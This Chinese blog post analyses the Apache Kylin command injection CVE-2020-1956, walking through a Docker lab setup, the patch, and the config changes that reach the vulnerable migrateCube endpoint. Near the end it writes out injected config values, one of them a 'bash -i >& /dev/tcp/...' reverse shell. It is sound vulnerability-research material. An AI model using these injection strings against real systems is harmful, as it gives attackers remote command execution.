2020年5月22日,CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133

Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。

Apache Kylin 中的静态 API 存在安全漏洞。攻击者可借助特制输入利用该漏洞在系统上执行任意OS命令。以下产品及版本受到影响:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。

下面就来分析一下这个漏洞。

一、搭建环境

Kylin 的环境并不好搭建,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的组件需要安装配置。幸好,Kylin 官网文档 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 环境的启动指南,分别执行这两个命令即可一键启动。

docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

1.jpg

使用默认密码 admin/KYLIN 登录,就能看到已经配置好的模型(models),环境搭建大功告成。

2.jpg

二、Migrate Cube

这个漏洞的补丁代码在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a#

3.jpg

可以看出,漏洞点在 CubeService.java 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUri、dstCfgUri、projectName三个。

Migrate Cube 是什么?在官网的文档的 Restful 章节 中,可以看到这个 Restful接口的描述:

4.jpg

接口中显示需要两个路径入参,分别是 cube 和 project。回看 kylin 页面上的表格里,已经显示了 cube name 和对应的 Project 。

5.jpg

我们选择第一行记录中的cube:kylin_sales_cube 和对应的 Project:learn_kylin 作为路径参数,POST 这个报文看看。

6.jpg

收到错误响应,提示 One click migration is disable

7.jpg

One click migration is disable 的提示,看起来有点眼熟。回看一眼patch code,嘿,原来这个错误提示就在 migrateCube() 函数的开头呀。

8.jpg

对应的配置检查函数 isAllowAutoMigrateCube() 在 KylinConfigBase.java 中,从配置项中读取了 kylin.tool.auto-migrate-cube.enabled,默认值为 FALSE。

9.jpg

如果要把配置修改为 true,有两个办法。

方法一:使用 docker exec -it bash 命令进入容器,修改其中 conf/kylin.properties 文件,增加 kylin.tool.auto-migrate-cube.enabled=true 的配置项,然后在容器中使用 bin/kylin stop 和 bin/kylin start 命令重启 kylin。

10.jpg

方法二:在 WEB 界面上点击 SYSTEM 和 SET Config,手动输入配置项名称 kylin.tool.auto-migrate-cube.enabled 和值 True。

11.jpg

12.jpg

方法一是永久有效,只是需要重启 kylin 进程;方法二立即生效但进程重启或 Reload Config 之后就失效。我们选择相对简单一些的方法二来操作。

13.jpg

修改完配置之后,再次发送 POST Migrate Cube 的报文,这次的报错提示为 Source configuration should not be empty.

14.jpg

15.jpg

对应代码中的 srcCfgUri 和 dstCfgUri 的非空检查

16.jpg

这两个值同样来自于配置项,分别是 kylin.tool.auto-migrate-cube.src-config 和 kylin.tool.auto-migrate-cube.dest-config。

17.jpg

我们可以用前面配置 kylin.tool.auto-migrate-cube.enabled 同样的方法来配置这两个值。不过,在配置之前,你有没有注意到,这两个值,就是命令注入的关键参数呢?

18.jpg

三、命令注入

好,用 destCfgUri 来注入试试。在界面上 Set Config,把 srcCfgUri 配置为 /home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/xiang; echo 。注意其中注入了 touch /tmp/xiang 的系统命令。

19.jpg

重新发起 Migrate Cube 的请求。

20.jpg

收到 200 成功响应。

31.jpg

查看 docker 容器,注入的命令 touch /tmp/xiang 已经成功执行。

21.jpg

可以反弹 shell 么?当然可以。将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/172.17.0.1/9999 0>&1; echo 。其中注入的命令从 touch /tmp/xiang 换成了反弹 shell 的命令 bash -i >& /dev/tcp/172.17.0.1/9999 0>&1,反弹到宿主机 172.17.0.1 上。

22.jpg

在宿主机上启动监听。

23.jpg

再发送一次 Migrate Cube 报文,等待几秒即可获取反弹 shell。

24.jpg

标签: none

添加新评论